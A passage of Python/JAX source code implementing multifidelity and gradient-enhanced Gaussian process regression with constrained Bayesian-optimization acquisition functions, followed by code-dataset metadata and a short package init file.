sigma_n_L = np.exp(gp_params[-2])
sigma_n_H = np.exp(gp_params[-1])
theta_L = np.exp(gp_params[:D+1])
theta_H = np.exp(gp_params[D+1:-3])
# Compute kernels
k_pp = rho**2 * self.kernel(X_star_nn, X_star_nn, theta_L) + \
self.kernel(X_star_nn, X_star_nn, theta_H) + \
np.eye(X_star_nn.shape[0])*(sigma_n_H + 1e-8)
psi1 = rho*self.kernel(X_star_nn, XL, theta_L)
psi2 = rho**2 * self.kernel(X_star_nn, XH, theta_L) + \
self.kernel(X_star_nn, XH, theta_H)
k_pX = np.hstack((psi1,psi2))
L = self.compute_cholesky(params, batch)
alpha = solve_triangular(L.T,solve_triangular(L, y, lower=True))
beta = solve_triangular(L.T,solve_triangular(L, k_pX.T, lower=True))
# Compute predictive mean, std
mu = np.matmul(k_pX, alpha)
cov = k_pp - np.matmul(k_pX, beta)
std = np.sqrt(np.clip(np.diag(cov), a_min=0.))
return mu, std
@partial(jit, static_argnums=(0,))
def constrained_acquisition(self, x, **kwargs):
x = x[None,:]
mean, std = self.predict_all(x, **kwargs)
if self.options['constrained_criterion'] == 'EIC':
batch_list = kwargs['batch']
best = np.min(batch_list[0]['y'])
return acquisitions.EIC(mean, std, best)
elif self.options['constrained_criterion'] == 'LCBC':
kappa = kwargs['kappa']
##### normalize the mean and std again and subtract the mean by 2*sigma
#norm_const = kwargs['norm_const'][0]
#mean[0,:] = (mean[0,:] - norm_const['mu_y']) / norm_const['sigma_y'] - 3 * norm_const['sigma_y']
#std[0,:] = std[0,:] / norm_const['sigma_y']
#####
return acquisitions.LCBC(mean, std, kappa)
elif self.options['constrained_criterion'] == 'LW_LCBC':
kappa = kwargs['kappa']
##### normalize the mean and std again and subtract the mean by 3*sigma
weights = utils.compute_w_gmm(x, **kwargs)
return acquisitions.LW_LCBC(mean, std, weights, kappa)
else:
raise NotImplementedError
@partial(jit, static_argnums=(0,))
def constrained_acq_value_and_grad(self, x, **kwargs):
fun = lambda x: self.constrained_acquisition(x, **kwargs)
primals, f_vjp = vjp(fun, x)
grads = f_vjp(np.ones_like(primals))[0]
return primals, grads
def constrained_compute_next_point_lbfgs(self, num_restarts = 10, **kwargs):
# Define objective that returns NumPy arrays
def objective(x):
value, grads = self.constrained_acq_value_and_grad(x, **kwargs)
out = (onp.array(value), onp.array(grads))
return out
# Optimize with random restarts
loc = []
acq = []
bounds = kwargs['bounds']
lb = bounds['lb']
ub = bounds['ub']
rng_key = kwargs['rng_key']
dim = lb.shape[0]
onp.random.seed(rng_key[0])
x0 = lb + (ub-lb)*lhs(dim, num_restarts)
#print("x0 for bfgs", x0)
dom_bounds = tuple(map(tuple, np.vstack((lb, ub)).T))
for i in range(num_restarts):
pos, val = minimize_lbfgs(objective, x0[i,:], bnds = dom_bounds)
loc.append(pos)
acq.append(val)
loc = np.vstack(loc)
acq = np.vstack(acq)
idx_best = np.argmin(acq)
x_new = loc[idx_best:idx_best+1,:]
return x_new, acq, loc
# A minimal GradientGP regression class (inherits from GPmodel)
class GradientGP(GPmodel):
# Initialize the class
def __init__(self, options):
super().__init__(options)
@partial(jit, static_argnums=(0,))
def k_dx2(self, x1, x2, params):
fun = lambda x2: self.kernel(x1, x2, params)
g = jvp(fun, (x2,), (np.ones_like(x2),))[1]
return g
@partial(jit, static_argnums=(0,))
def k_dx1dx2(self, x1, x2, params):
fun = lambda x1: self.k_dx2(x1, x2, params)
g = jvp(fun, (x1,), (np.ones_like(x1),))[1]
return g
@partial(jit, static_argnums=(0,))
def compute_cholesky(self, params, batch):
XF, XG = batch['XF'], batch['XG']
NF, NG = XF.shape[0], XG.shape[0]
# Fetch params
sigma_n_F = np.exp(params[-2])
sigma_n_G = np.exp(params[-1])
theta = np.exp(params[:-2])
# Compute kernels
K_FF = self.kernel(XF, XF, theta) + np.eye(NF)*(sigma_n_F + 1e-8)
K_FG = self.k_dx2(XF, XG, theta)
K_GG = self.k_dx1dx2(XG, XG, theta) + np.eye(NG)*(sigma_n_G + 1e-8)
K = np.vstack((np.hstack((K_FF,K_FG)),
np.hstack((K_FG.T,K_GG))))
L = cholesky(K, lower=True)
return L
def train(self, batch, rng_key, num_restarts = 10):
# Define objective that returns NumPy arrays
def objective(params):
value, grads = self.likelihood_value_and_grad(params, batch)
out = (onp.array(value), onp.array(grads))
return out
# Optimize with random restarts
params = []
likelihood = []
dim = batch['XF'].shape[1]
rng_key = random.split(rng_key, num_restarts)
for i in range(num_restarts):
init = initializers.random_init_GradientGP(rng_key[i], dim)
p, val = minimize_lbfgs(objective, init)
params.append(p)
likelihood.append(val)
params = np.vstack(params)
likelihood = np.vstack(likelihood)
#### find the best likelihood besides nan ####
bestlikelihood = np.nanmin(likelihood)
idx_best = np.where(likelihood == bestlikelihood)
idx_best = idx_best[0][0]
best_params = params[idx_best,:]
return best_params
@partial(jit, static_argnums=(0,))
def predict(self, X_star, **kwargs):
params = kwargs['params']
batch = kwargs['batch']
norm_const = kwargs['norm_const']
# (do not Normalize!)
# X_star = (X_star - norm_const['mu_X'])/norm_const['sigma_X']
# Fetch training data
XF, XG = batch['XF'], batch['XG']
y = batch['y']
# Fetch params
sigma_n_F = np.exp(params[-2])
sigma_n_G = np.exp(params[-1])
theta = np.exp(params[:-2])
# Compute kernels
k_pp = self.kernel(X_star, X_star, theta) + np.eye(X_star.shape[0])*(sigma_n_F + 1e-8)
psi1 = self.kernel(X_star, XF, theta)
psi2 = self.k_dx2(X_star, XG, theta)
k_pX = np.hstack((psi1,psi2))
L = self.compute_cholesky(params, batch)
alpha = solve_triangular(L.T,solve_triangular(L, y, lower=True))
beta = solve_triangular(L.T,solve_triangular(L, k_pX.T, lower=True))
# Compute predictive mean, std
mu = np.matmul(k_pX, alpha)
cov = k_pp - np.matmul(k_pX, beta)
std = np.sqrt(np.clip(np.diag(cov), a_min=0.))
return mu, std
# A minimal Gaussian process regression class (inherits from GPmodel)
class MultipleIndependentMFGP(GPmodel):
# Initialize the class
def __init__(self, options):
super().__init__(options)
@partial(jit, static_argnums=(0,))
def compute_cholesky(self, params, batch):
XL, XH = batch['XL'], batch['XH']
NL, NH = XL.shape[0], XH.shape[0]
D = XH.shape[1]
# Fetch params
rho = params[-3]
sigma_n_L = np.exp(params[-2])
sigma_n_H = np.exp(params[-1])
theta_L = np.exp(params[:D+1])
theta_H = np.exp(params[D+1:-3])
# Compute kernels
K_LL = self.kernel(XL, XL, theta_L) + np.eye(NL)*(sigma_n_L + 1e-8)
K_LH = rho*self.kernel(XL, XH, theta_L)
K_HH = rho**2 * self.kernel(XH, XH, theta_L) + \
self.kernel(XH, XH, theta_H) + np.eye(NH)*(sigma_n_H + 1e-8)
K = np.vstack((np.hstack((K_LL,K_LH)),
np.hstack((K_LH.T,K_HH))))
L = cholesky(K, lower=True)
return L
def train(self, batch_list, rng_key, num_restarts = 10):
best_params = []
for _, batch in enumerate(batch_list):
# Define objective that returns NumPy arrays
def objective(params):
value, grads = self.likelihood_value_and_grad(params, batch)
out = (onp.array(value), onp.array(grads))
return out
# Optimize with random restarts
params = []
likelihood = []
dim = batch['XH'].shape[1]
rng_keys = random.split(rng_key, num_restarts)
for i in range(num_restarts):
init = initializers.random_init_MultifidelityGP(rng_keys[i], dim)
p, val = minimize_lbfgs(objective, init)
params.append(p)
likelihood.append(val)
params = np.vstack(params)
likelihood = np.vstack(likelihood)
#### find the best likelihood besides nan ####
#print("likelihood", likelihood)
bestlikelihood = np.nanmin(likelihood)
idx_best = np.where(likelihood == bestlikelihood)
idx_best = idx_best[0][0]
best_params.append(params[idx_best,:])
#print("best_params", best_params)
return best_params
# Predict all high fidelity prediction (objective + constraints)
@partial(jit, static_argnums=(0,))
def predict_all(self, X_star, **kwargs):
mu_list = []
std_list = []
params_list = kwargs['params']
batch_list = kwargs['batch']
bounds = kwargs['bounds']
norm_const_list = kwargs['norm_const']
zipped_args = zip(params_list, batch_list, norm_const_list)
# Normalize to [0,1] (We should do this for once instead of iteratively doing so in the for loop)
X_star = (X_star - bounds['lb'])/(bounds['ub'] - bounds['lb'])
for k, (params, batch, norm_const) in enumerate(zipped_args):
# Fetch normalized training data
XL, XH = batch['XL'], batch['XH']
D = batch['XH'].shape[1]
y = batch['y']
# Fetch params
rho = params[-3]
sigma_n_L = np.exp(params[-2])
sigma_n_H = np.exp(params[-1])
theta_L = np.exp(params[:D+1])
theta_H = np.exp(params[D+1:-3])
# Compute kernels
k_pp = rho**2 * self.kernel(X_star, X_star, theta_L) + \
self.kernel(X_star, X_star, theta_H) + \
np.eye(X_star.shape[0])*(sigma_n_H + 1e-8)
psi1 = rho*self.kernel(X_star, XL, theta_L)
psi2 = rho**2 * self.kernel(X_star, XH, theta_L) + \
self.kernel(X_star, XH, theta_H)
k_pX = np.hstack((psi1,psi2))
L = self.compute_cholesky(params, batch)
alpha = solve_triangular(L.T,solve_triangular(L, y, lower=True))
beta = solve_triangular(L.T,solve_triangular(L, k_pX.T, lower=True))
# Compute predictive mean, std
mu = np.matmul(k_pX, alpha)
cov = k_pp - np.matmul(k_pX, beta)
std = np.sqrt(np.clip(np.diag(cov), a_min=0.))
if k > 0:
mu = mu*norm_const['sigma_y'] + norm_const['mu_y']
std = std*norm_const['sigma_y']
mu_list.append(mu)
std_list.append(std)
return np.array(mu_list), np.array(std_list)
@partial(jit, static_argnums=(0,))
def predict(self, X_star, **kwargs):
params = kwargs['params']
batch = kwargs['batch']
bounds = kwargs['bounds']
norm_const = kwargs['norm_const']
# Normalize to [0,1]
X_star = (X_star - bounds['lb'])/(bounds['ub'] - bounds['lb'])
# Fetch normalized training data
XL, XH = batch['XL'], batch['XH']
D = batch['XH'].shape[1]
y = batch['y']
# Fetch params
rho = params[-3]
sigma_n_L = np.exp(params[-2])
sigma_n_H = np.exp(params[-1])
theta_L = np.exp(params[:D+1])
theta_H = np.exp(params[D+1:-3])
# Compute kernels
k_pp = rho**2 * self.kernel(X_star, X_star, theta_L) + \
self.kernel(X_star, X_star, theta_H) + \
np.eye(X_star.shape[0])*(sigma_n_H + 1e-8)
psi1 = rho*self.kernel(X_star, XL, theta_L)
psi2 = rho**2 * self.kernel(X_star, XH, theta_L) + \
self.kernel(X_star, XH, theta_H)
k_pX = np.hstack((psi1,psi2))
L = self.compute_cholesky(params, batch)
alpha = solve_triangular(L.T,solve_triangular(L, y, lower=True))
beta = solve_triangular(L.T,solve_triangular(L, k_pX.T, lower=True))
# Compute predictive mean, std
mu = np.matmul(k_pX, alpha)
cov = k_pp - np.matmul(k_pX, beta)
std = np.sqrt(np.clip(np.diag(cov), a_min=0.))
return mu, std
@partial(jit, static_argnums=(0,))
def constrained_acquisition(self, x, **kwargs):
x = x[None,:]
mean, std = self.predict_all(x, **kwargs)
if self.options['constrained_criterion'] == 'EIC':
batch_list = kwargs['batch']
best = np.min(batch_list[0]['y'])
return acquisitions.EIC(mean, std, best)
elif self.options['constrained_criterion'] == 'LCBC':
kappa = kwargs['kappa']
##### normalize the mean and std again and subtract the mean by 2*sigma
#norm_const = kwargs['norm_const'][0]
#mean[0,:] = (mean[0,:] - norm_const['mu_y']) / norm_const['sigma_y'] - 3 * norm_const['sigma_y']
#std[0,:] = std[0,:] / norm_const['sigma_y']
#####
return acquisitions.LCBC(mean, std, kappa)
elif self.options['constrained_criterion'] == 'LW_LCBC':
kappa = kwargs['kappa']
##### normalize the mean and std again and subtract the mean by 3*sigma
weights = utils.compute_w_gmm(x, **kwargs)
return acquisitions.LW_LCBC(mean, std, weights, kappa)
else:
raise NotImplementedError
@partial(jit, static_argnums=(0,))
def constrained_acq_value_and_grad(self, x, **kwargs):
fun = lambda x: self.constrained_acquisition(x, **kwargs)
primals, f_vjp = vjp(fun, x)
grads = f_vjp(np.ones_like(primals))[0]
return primals, grads
def constrained_compute_next_point_lbfgs(self, num_restarts = 10, **kwargs):
# Define objective that returns NumPy arrays
def objective(x):
value, grads = self.constrained_acq_value_and_grad(x, **kwargs)
out = (onp.array(value), onp.array(grads))
return out
# Optimize with random restarts
loc = []
acq = []
bounds = kwargs['bounds']
lb = bounds['lb']
ub = bounds['ub']
rng_key = kwargs['rng_key']
dim = lb.shape[0]
onp.random.seed(rng_key[0])
x0 = lb + (ub-lb)*lhs(dim, num_restarts)
#print("x0 for bfgs", x0)
dom_bounds = tuple(map(tuple, np.vstack((lb, ub)).T))
for i in range(num_restarts):
pos, val = minimize_lbfgs(objective, x0[i,:], bnds = dom_bounds)
loc.append(pos)
acq.append(val)
loc = np.vstack(loc)
acq = np.vstack(acq)
idx_best = np.argmin(acq)
x_new = loc[idx_best:idx_best+1,:]
return x_new, acq, loc
def fit_gmm(self, num_comp = 2, N_samples = 10000, **kwargs):
bounds = kwargs['bounds']
lb = bounds['lb']
ub = bounds['ub']
# load the seed
rng_key = kwargs['rng_key']
dim = lb.shape[0]
# Sample data across the entire domain
X = lb + (ub-lb)*lhs(dim, N_samples)
# set the seed for sampling X
onp.random.seed(rng_key[0])
X = lb + (ub-lb)*lhs(dim, N_samples)
# We only keep the first row that correspond to the objective prediction and same for y_samples
y = self.predict_all(X, **kwargs)[0][0,:]
# Prediction of the constraints
mu, std = self.predict_all(X, **kwargs)
mu_c, std_c = mu[1:,:], std[1:,:]
#print('mu_c', 'std_c', mu_c.shape, std_c.shape)
constraint_w = np.ones((std_c.shape[1],1)).flatten()
for k in range(std_c.shape[0]):
constraint_w_temp = norm.cdf(mu_c[k,:]/std_c[k,:])
if np.sum(constraint_w_temp) > 1e-8:
constraint_w = constraint_w * constraint_w_temp
#print("constraint_w", constraint_w.shape)
# set the seed for sampling X_samples
rng_key = random.split(rng_key)[0]
onp.random.seed(rng_key[0])
X_samples = lb + (ub-lb)*lhs(dim, N_samples)
y_samples = self.predict_all(X_samples, **kwargs)[0][0,:]
# Compute p_x and p_y from samples across the entire domain
p_x = self.input_prior.pdf(X)
p_x_samples = self.input_prior.pdf(X_samples)
p_y = utils.fit_kernel_density(y_samples, y, weights = p_x_samples)
#print("constraint_w", constraint_w.shape, "p_x", p_x.shape)
weights = p_x/p_y*constraint_w
# Label each input data
indices = np.arange(N_samples)
# Scale inputs to [0, 1]^D
X = (X - lb) / (ub - lb)
# rescale weights as probability distribution
weights = weights / np.sum(weights)
# Sample from analytical w
idx = onp.random.choice(indices,
N_samples,
p=weights.flatten())
X_train = X[idx]
# fit GMM
clf = mixture.GaussianMixture(n_components=num_comp,
covariance_type='full')
clf.fit(X_train)
return clf.weights_, clf.means_, clf.covariances_
# A minimal MultifidelityGP regression class for heterogeneous inputs (inherits from GPmodel)
class HeterogeneousMultifidelityGP(GPmodel):
# Initialize the class
def __init__(self, options, layers):
super().__init__(options)
self.layers = layers
self.net_init, self.net_apply = utils.init_NN(layers)
# Determine parameter IDs
nn_params = self.net_init(random.PRNGKey(0), (-1, layers[0]))[1]
nn_params_flat, self.unravel = ravel_pytree(nn_params)
num_nn_params = len(nn_params_flat)
num_gp_params = initializers.random_init_MultifidelityGP(random.PRNGKey(0), layers[-1]).shape[0]
self.gp_params_ids = np.arange(num_gp_params)
self.nn_params_ids = np.arange(num_nn_params) + num_gp_params
@partial(jit, static_argnums=(0,))
def compute_cholesky(self, params, batch):
XL, XH = batch['XL'], batch['XH']
NL, NH = XL.shape[0], XH.shape[0]
D = XH.shape[1]
# Warp low-fidelity inputs to [0,1]^D_H
gp_params = params[self.gp_params_ids]
nn_params = self.unravel(params[self.nn_params_ids])
XL = sigmoid(self.net_apply(nn_params, XL))
# Fetch params
rho = gp_params[-3]
sigma_n_L = np.exp(gp_params[-2])
sigma_n_H = np.exp(gp_params[-1])
theta_L = gp_params[:D+1]
theta_H = gp_params[D+1:-3]
# Compute kernels
K_LL = self.kernel(XL, XL, theta_L) + np.eye(NL)*(sigma_n_L + 1e-8)
K_LH = rho*self.kernel(XL, XH, theta_L)
K_HH = rho**2 * self.kernel(XH, XH, theta_L) + \
self.kernel(XH, XH, theta_H) + np.eye(NH)*(sigma_n_H + 1e-8)
K = np.vstack((np.hstack((K_LL,K_LH)),
np.hstack((K_LH.T,K_HH))))
L = cholesky(K, lower=True)
return L
def train(self, batch, rng_key, num_restarts = 10):
# Define objective that returns NumPy arrays
def objective(params):
value, grads = self.likelihood_value_and_grad(params, batch)
out = (onp.array(value), onp.array(grads))
return out
# Optimize with random restarts
params = []
likelihood = []
dim = batch['XH'].shape[1]
rng_key = random.split(rng_key, num_restarts)
for i in range(num_restarts):
key1, key2 = random.split(rng_key[i])
gp_params = initializers.random_init_MultifidelityGP(key1, dim)
nn_params = self.net_init(key2, (-1, self.layers[0]))[1]
init_params = np.concatenate([gp_params, ravel_pytree(nn_params)[0]])
p, val = minimize_lbfgs(objective, init_params)
params.append(p)
likelihood.append(val)
params = np.vstack(params)
likelihood = np.vstack(likelihood)
#### find the best likelihood besides nan ####
bestlikelihood = np.nanmin(likelihood)
idx_best = np.where(likelihood == bestlikelihood)
idx_best = idx_best[0][0]
# idx_best = np.argmin(likelihood)
#print("best index: {}".format(idx_best))
best_params = params[idx_best,:]
#print("shape of parameters: {}".format(best_params.shape))
#### modify it according to the jupyter notebook
#### Maybe jax will not stop when it see NaNs or Infs
#print('Likelihoods for current iteration: {}'.format(likelihood.flatten()))
#print('Best likelihood for current iteration: {}'.format(likelihood[idx_best]))
return best_params
@partial(jit, static_argnums=(0,))
def predict(self, X_star, **kwargs):
params = kwargs['params']
batch = kwargs['batch']
bounds = kwargs['bounds']
norm_const = kwargs['norm_const']
# Normalize to [0,1]
X_star = (X_star - bounds['lb'])/(bounds['ub'] - bounds['lb'])
# Fetch normalized training data
XL, XH = batch['XL'], batch['XH']
D = batch['XH'].shape[1]
y = batch['y']
# Warp low-fidelity inputs
gp_params = params[self.gp_params_ids]
nn_params = self.unravel(params[self.nn_params_ids])
XL = sigmoid(self.net_apply(nn_params, XL))
# Fetch params
rho = gp_params[-3]
sigma_n_L = np.exp(gp_params[-2])
sigma_n_H = np.exp(gp_params[-1])
theta_L = gp_params[:D+1]
theta_H = gp_params[D+1:-3]
# Compute kernels
k_pp = rho**2 * self.kernel(X_star, X_star, theta_L) + \
self.kernel(X_star, X_star, theta_H) + \
np.eye(X_star.shape[0])*(sigma_n_H + 1e-8)
psi1 = rho*self.kernel(X_star, XL, theta_L)
psi2 = rho**2 * self.kernel(X_star, XH, theta_L) + \
self.kernel(X_star, XH, theta_H)
k_pX = np.hstack((psi1,psi2))
L = self.compute_cholesky(params, batch)
alpha = solve_triangular(L.T,solve_triangular(L, y, lower=True))
beta = solve_triangular(L.T,solve_triangular(L, k_pX.T, lower=True))
# Compute predictive mean, std
mu = np.matmul(k_pX, alpha)
cov = k_pp - np.matmul(k_pX, beta)
std = np.sqrt(np.clip(np.diag(cov), a_min=0.))
return mu, std
# A minimal Gaussian process regression class (inherits from GPmodel)
class MultipleIndependentHeterogeneousMFGP(GPmodel):
# Initialize the class
def __init__(self, options, layers):
super().__init__(options)
self.layers = layers
self.net_init, self.net_apply = utils.init_NN(layers)
# Determine parameter IDs
nn_params = self.net_init(random.PRNGKey(0), (-1, layers[0]))[1]
nn_params_flat, self.unravel = ravel_pytree(nn_params)
num_nn_params = len(nn_params_flat)
num_gp_params = initializers.random_init_MultifidelityGP(random.PRNGKey(0), layers[-1]).shape[0]
self.gp_params_ids = np.arange(num_gp_params)
self.nn_params_ids = np.arange(num_nn_params) + num_gp_params
@partial(jit, static_argnums=(0,))
def compute_cholesky(self, params, batch):
XL, XH = batch['XL'], batch['XH']
NL, NH = XL.shape[0], XH.shape[0]
D = XH.shape[1]
# Warp low-fidelity inputs to [0,1]^D_H
gp_params = params[self.gp_params_ids]
nn_params = self.unravel(params[self.nn_params_ids])
XL = sigmoid(self.net_apply(nn_params, XL))
# Fetch params
rho = gp_params[-3]
sigma_n_L = np.exp(gp_params[-2])
sigma_n_H = np.exp(gp_params[-1])
theta_L = gp_params[:D+1]
theta_H = gp_params[D+1:-3]
# Compute kernels
K_LL = self.kernel(XL, XL, theta_L) + np.eye(NL)*(sigma_n_L + 1e-8)
K_LH = rho*self.kernel(XL, XH, theta_L)
K_HH = rho**2 * self.kernel(XH, XH, theta_L) + \
self.kernel(XH, XH, theta_H) + np.eye(NH)*(sigma_n_H + 1e-8)
K = np.vstack((np.hstack((K_LL,K_LH)),
np.hstack((K_LH.T,K_HH))))
L = cholesky(K, lower=True)
return L
def train(self, batch_list, rng_key, num_restarts = 10):
best_params = []
for _, batch in enumerate(batch_list):
# Define objective that returns NumPy arrays
def objective(params):
value, grads = self.likelihood_value_and_grad(params, batch)
out = (onp.array(value), onp.array(grads))
return out
# Optimize with random restarts
params = []
likelihood = []
dim = batch['XH'].shape[1]
rng_keys = random.split(rng_key, num_restarts)
for i in range(num_restarts):
key1, key2 = random.split(rng_keys[i])
gp_params = initializers.random_init_MultifidelityGP(key1, dim)
nn_params = self.net_init(key2, (-1, self.layers[0]))[1]
init_params = np.concatenate([gp_params, ravel_pytree(nn_params)[0]])
p, val = minimize_lbfgs(objective, init_params)
params.append(p)
likelihood.append(val)
params = np.vstack(params)
likelihood = np.vstack(likelihood)
#### find the best likelihood besides nan ####
#print("likelihood", likelihood)
bestlikelihood = np.nanmin(likelihood)
idx_best = np.where(likelihood == bestlikelihood)
idx_best = idx_best[0][0]
best_params.append(params[idx_best,:])
#print("best_params", best_params)
return best_params
# Predict all high fidelity prediction (objective + constraints)
@partial(jit, static_argnums=(0,))
def predict_all(self, X_star, **kwargs):
mu_list = []
std_list = []
params_list = kwargs['params']
batch_list = kwargs['batch']
bounds = kwargs['bounds']
norm_const_list = kwargs['norm_const']
zipped_args = zip(params_list, batch_list, norm_const_list)
# Normalize to [0,1] (We should do this for once instead of iteratively doing so in the for loop)
X_star = (X_star - bounds['lb'])/(bounds['ub'] - bounds['lb'])
for k, (params, batch, norm_const) in enumerate(zipped_args):
# Fetch normalized training data
XL, XH = batch['XL'], batch['XH']
D = batch['XH'].shape[1]
y = batch['y']
# Warp low-fidelity inputs
gp_params = params[self.gp_params_ids]
nn_params = self.unravel(params[self.nn_params_ids])
XL = sigmoid(self.net_apply(nn_params, XL))
# Fetch params
rho = gp_params[-3]
sigma_n_L = np.exp(gp_params[-2])
sigma_n_H = np.exp(gp_params[-1])
theta_L = gp_params[:D+1]
theta_H = gp_params[D+1:-3]
# Compute kernels
k_pp = rho**2 * self.kernel(X_star, X_star, theta_L) + \
self.kernel(X_star, X_star, theta_H) + \
np.eye(X_star.shape[0])*(sigma_n_H + 1e-8)
psi1 = rho*self.kernel(X_star, XL, theta_L)
psi2 = rho**2 * self.kernel(X_star, XH, theta_L) + \
self.kernel(X_star, XH, theta_H)
k_pX = np.hstack((psi1,psi2))
L = self.compute_cholesky(params, batch)
alpha = solve_triangular(L.T,solve_triangular(L, y, lower=True))
beta = solve_triangular(L.T,solve_triangular(L, k_pX.T, lower=True))
# Compute predictive mean, std
mu = np.matmul(k_pX, alpha)
cov = k_pp - np.matmul(k_pX, beta)
std = np.sqrt(np.clip(np.diag(cov), a_min=0.))
if k > 0:
mu = mu*norm_const['sigma_y'] + norm_const['mu_y']
std = std*norm_const['sigma_y']
mu_list.append(mu)
std_list.append(std)
return np.array(mu_list), np.array(std_list)
@partial(jit, static_argnums=(0,))
def predict(self, X_star, **kwargs):
params = kwargs['params']
batch = kwargs['batch']
bounds = kwargs['bounds']
norm_const = kwargs['norm_const']
# Normalize to [0,1]
X_star = (X_star - bounds['lb'])/(bounds['ub'] - bounds['lb'])
# Fetch normalized training data
XL, XH = batch['XL'], batch['XH']
D = batch['XH'].shape[1]
y = batch['y']
# Warp low-fidelity inputs
gp_params = params[self.gp_params_ids]
nn_params = self.unravel(params[self.nn_params_ids])
XL = sigmoid(self.net_apply(nn_params, XL))
# Fetch params
rho = gp_params[-3]
sigma_n_L = np.exp(gp_params[-2])
sigma_n_H = np.exp(gp_params[-1])
theta_L = gp_params[:D+1]
theta_H = gp_params[D+1:-3]
# Compute kernels
k_pp = rho**2 * self.kernel(X_star, X_star, theta_L) + \
self.kernel(X_star, X_star, theta_H) + \
np.eye(X_star.shape[0])*(sigma_n_H + 1e-8)
psi1 = rho*self.kernel(X_star, XL, theta_L)
psi2 = rho**2 * self.kernel(X_star, XH, theta_L) + \
self.kernel(X_star, XH, theta_H)
k_pX = np.hstack((psi1,psi2))
L = self.compute_cholesky(params, batch)
alpha = solve_triangular(L.T,solve_triangular(L, y, lower=True))
beta = solve_triangular(L.T,solve_triangular(L, k_pX.T, lower=True))
# Compute predictive mean, std
mu = np.matmul(k_pX, alpha)
cov = k_pp - np.matmul(k_pX, beta)
std = np.sqrt(np.clip(np.diag(cov), a_min=0.))
return mu, std
@partial(jit, static_argnums=(0,))
def constrained_acquisition(self, x, **kwargs):
x = x[None,:]
mean, std = self.predict_all(x, **kwargs)
if self.options['constrained_criterion'] == 'EIC':
batch_list = kwargs['batch']
best = np.min(batch_list[0]['y'])
return acquisitions.EIC(mean, std, best)
elif self.options['constrained_criterion'] == 'LCBC':
kappa = kwargs['kappa']
return acquisitions.LCBC(mean, std, kappa)
elif self.options['constrained_criterion'] == 'LW_LCBC':
kappa = kwargs['kappa']
##### normalize the mean and std again and subtract the mean by 3*sigma
weights = utils.compute_w_gmm(x, **kwargs)
return acquisitions.LW_LCBC(mean, std, weights, kappa)
else:
raise NotImplementedError
@partial(jit, static_argnums=(0,))
def constrained_acq_value_and_grad(self, x, **kwargs):
fun = lambda x: self.constrained_acquisition(x, **kwargs)
primals, f_vjp = vjp(fun, x)
grads = f_vjp(np.ones_like(primals))[0]
return primals, grads
def constrained_compute_next_point_lbfgs(self, num_restarts = 10, **kwargs):
# Define objective that returns NumPy arrays
def objective(x):
value, grads = self.constrained_acq_value_and_grad(x, **kwargs)
out = (onp.array(value), onp.array(grads))
return out
# Optimize with random restarts
loc = []
acq = []
bounds = kwargs['bounds']
lb = bounds['lb']
ub = bounds['ub']
rng_key = kwargs['rng_key']
dim = lb.shape[0]
onp.random.seed(rng_key[0])
x0 = lb + (ub-lb)*lhs(dim, num_restarts)
#print("x0 for bfgs", x0)
dom_bounds = tuple(map(tuple, np.vstack((lb, ub)).T))
for i in range(num_restarts):
pos, val = minimize_lbfgs(objective, x0[i,:], bnds = dom_bounds)
loc.append(pos)
acq.append(val)
loc = np.vstack(loc)
acq = np.vstack(acq)
idx_best = np.argmin(acq)
x_new = loc[idx_best:idx_best+1,:]
return x_new, acq, loc
def fit_gmm(self, num_comp = 2, N_samples = 10000, **kwargs):
bounds = kwargs['bounds']
lb = bounds['lb']
ub = bounds['ub']
# load the seed
rng_key = kwargs['rng_key']
dim = lb.shape[0]
# Sample data across the entire domain
X = lb + (ub-lb)*lhs(dim, N_samples)
# set the seed for sampling X
onp.random.seed(rng_key[0])
X = lb + (ub-lb)*lhs(dim, N_samples)
# We only keep the first row that correspond to the objective prediction and same for y_samples
y = self.predict_all(X, **kwargs)[0][0,:]
# Prediction of the constraints
mu, std = self.predict_all(X, **kwargs)
mu_c, std_c = mu[1:,:], std[1:,:]
#print('mu_c', 'std_c', mu_c.shape, std_c.shape)
constraint_w = np.ones((std_c.shape[1],1)).flatten()
for k in range(std_c.shape[0]):
constraint_w_temp = norm.cdf(mu_c[k,:]/std_c[k,:])
if np.sum(constraint_w_temp) > 1e-8:
constraint_w = constraint_w * constraint_w_temp
#print("constraint_w", constraint_w.shape)
# set the seed for sampling X_samples
rng_key = random.split(rng_key)[0]
onp.random.seed(rng_key[0])
X_samples = lb + (ub-lb)*lhs(dim, N_samples)
y_samples = self.predict_all(X_samples, **kwargs)[0][0,:]
# Compute p_x and p_y from samples across the entire domain
p_x = self.input_prior.pdf(X)
p_x_samples = self.input_prior.pdf(X_samples)
p_y = utils.fit_kernel_density(y_samples, y, weights = p_x_samples)
#print("constraint_w", constraint_w.shape, "p_x", p_x.shape)
weights = p_x/p_y*constraint_w
# Label each input data
indices = np.arange(N_samples)
# Scale inputs to [0, 1]^D
X = (X - lb) / (ub - lb)
# rescale weights as probability distribution
weights = weights / np.sum(weights)
# Sample from analytical w
idx = onp.random.choice(indices,
N_samples,
p=weights.flatten())
X_train = X[idx]
# fit GMM
clf = mixture.GaussianMixture(n_components=num_comp,
covariance_type='full')
clf.fit(X_train)
return clf.weights_, clf.means_, clf.covariances_
| 41.506077
| 132
| 0.576062
| 11,535
| 85,378
| 4.063459
| 0.03225
| 0.018668
| 0.02526
| 0.020161
| 0.951421
| 0.944316
| 0.93862
| 0.933094
| 0.931281
| 0.92343
| 0
| 0.01322
| 0.294783
| 85,378
| 2,056
| 133
| 41.526265
| 0.765255
| 0.11756
| 0
| 0.931278
| 0
| 0
| 0.02577
| 0.004206
| 0
| 0
| 0
| 0
| 0
| 1
| 0.061657
| false
| 0
| 0.010276
| 0
| 0.144509
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
ef6447eba6bf21d91d3f770e65886c8f65d0645d
| 239
|
py
|
Python
|
pyaofit/__init__.py
|
UlrichThomasGabor/aofit
|
5b9093ce935d0da17fbb2d6185f62dadd69beb64
|
[
"Unlicense"
] | null | null | null |
pyaofit/__init__.py
|
UlrichThomasGabor/aofit
|
5b9093ce935d0da17fbb2d6185f62dadd69beb64
|
[
"Unlicense"
] | null | null | null |
pyaofit/__init__.py
|
UlrichThomasGabor/aofit
|
5b9093ce935d0da17fbb2d6185f62dadd69beb64
|
[
"Unlicense"
] | null | null | null |
from pyaofit.printverbose import *
from pyaofit.templates import *
from pyaofit.campaign import *
